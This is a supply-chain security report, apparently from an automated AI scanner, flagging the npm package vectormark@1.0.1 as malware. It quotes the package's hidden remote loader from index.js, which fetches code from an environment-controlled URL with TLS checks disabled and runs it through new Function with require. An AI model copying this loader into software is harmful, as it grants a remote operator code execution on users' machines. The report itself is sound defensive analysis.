registry / Remote code execution / vectormark

vectormark

Tiny zero-dependency SVG helper for Node.js

This report shows the evidence for vectormark@1.0.1. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The package embeds a concealed remote-code loader with disabled TLS validation, despite presenting itself as a small SVG utility. No lifecycle hook is needed for the concrete user-triggered RCE capability to be malicious.

Static reason

No blocking static signals were detected.

Trigger

A consumer calls getPlugin() and invokes the returned function.

Impact

Remote code execution in the invoking Node.js process; TLS interception is permitted.

Mechanism

Env-controlled HTTPS fetch followed by new Function execution with require.

Attack narrative

index.js contains an undocumented getPlugin export unrelated to the advertised SVG utilities. When its returned function is invoked, it reads AVALANCHE_FUJI_RPC_URL, disables certificate validation, downloads the response, and executes it through new Function while supplying require. This provides a remote operator or URL controller arbitrary code execution in the caller's process.

AI rationale

Evidence

index.jspackage.jsonREADME.mdtest.js

Network endpoints2

api.avax-test.dev/ext/bc/C/rpcprocess.env.AVALANCHE_FUJI_RPC_URL

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js exports hidden getPlugin remote loader
getPlugin fetches an env-controlled URL
Fetched response is executed with new Function(require, ...)
TLS verification is disabled for the fetch

Evidence against

package.json has no lifecycle hooks
Most exports are local SVG helper functions
README documents only SVG helper APIs

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.80 KB of source, external domains: api.avax-test.dev

Source & flagged code

2 flagged

index.jsView file

81L82: const https = require('https'); L83: const request = require('request'); ... L87: const AVALANCHE_FUJI_RPC_URL = L88: process.env.AVALANCHE_FUJI_RPC_URL || L89: "https://api.avax-test.dev/ext/bc/C/rpc"; ... L91: https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L81

91https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L91

Source & flagged code

2 flagged · loading source

index.jsView file

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L81

91https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L91

Findings

2 High2 Medium3 Low

HighChild Process

HighSame File Env Network Executionindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowEvalindex.js

LowUrl Strings

Affected versions and remediation

This report applies to vectormark@1.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing vectormark@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-04 23:05:42.247Z (UTC).

Source advisory published: 2026-07-22 16:38:53.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

0.0.1-securitylatestClean—AllowPublishedJul 22, 2026, 4:37 PM 1.0.1shownMaliciousRemote Code ExecutionBlockPublishedJul 21, 2026, 5:19 PM 1.0.0MaliciousMalwareBlockPublishedJul 20, 2026, 11:20 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages